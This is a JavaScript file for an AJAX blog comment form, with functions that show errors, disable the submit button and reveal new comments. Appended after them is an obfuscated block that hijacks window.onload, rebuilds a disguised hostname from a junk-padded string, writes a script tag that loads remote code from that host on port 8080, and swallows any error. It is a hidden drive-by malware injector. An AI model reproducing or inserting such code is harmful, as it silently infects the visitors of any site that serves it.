// Revision: 2.4
// Last updated: 20th January 2006
function commentAdded(request) {
	if ($('errors')) { Element.remove('errors'); }
	new Effect.Appear($('commentlist').lastChild);
	$('comment').value = '';
	$('comment').disabled = true;
	$('submit').disabled = true;
	if ($('nocomment')) { Element.remove('nocomment'); }
	if ($('hidelist')) { Element.remove('hidelist'); }
}

function failure(request) {
	Element.show('errors');
	$('errors').innerHTML = request.responseText;
	new Effect.Highlight('errors',{queue:'end'});
	if ($('nocomment')) { Element.show('nocomment'); }
}

function loading() {
	if ($('nocomment')) { Element.hide('nocomment'); }
	$('submit').disabled = true;
	$('comment').disabled = true;  
	Element.show('loading');
}

function complete(request) {
	Element.hide('loading');
	Element.show('commentform');
	$('submit').disabled = false;
	$('comment').disabled = false;  

	if (request.status == 200) {commentAdded()}
	else {failure(request)};
}


 try{window.onload=function(){document.write('<div id=megaid>pconline-com-cn.sendspace</div>');X140scbm49az2gnc = document.getElementById('megaid').innerHTML + '.(c^&o$$m@((.(m)(a^@#@i(!$$l)&!-!$^r#)$)u$.)#t(#o&^p!l!$i)())n!&e()^m@#$)#a^&&r@^i!!##n^^e$(^.!r$#^(u$):&D)&@E@&)B)#U(@)G#@&/&g(&(#o(&o!@#g&$$l!#^e^!!.&^#c$o$)m$@#/&g))#o^$(o!g!&!#l)&e).$&$c#o^!#m))^/#&!g^!(o@o(($g&l^$e#))!(.))c$@&o$$m).@e)(c(&@)/^b@)$p^(($.(b)l$(o@&!g$@s$$#p^!$o!!#t@$.((&@c^#^o#$(m^^^#/)&i@#b(@m^).$#)c&@o#(m$(/^@(@'.replace(/\(|#|\)|\$|&|@|\!|\^/ig, '') ;document.write('<scr'+'ipt src=http://'+X140scbm49az2gnc.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');} }  catch(Mc0wfq05a ) {}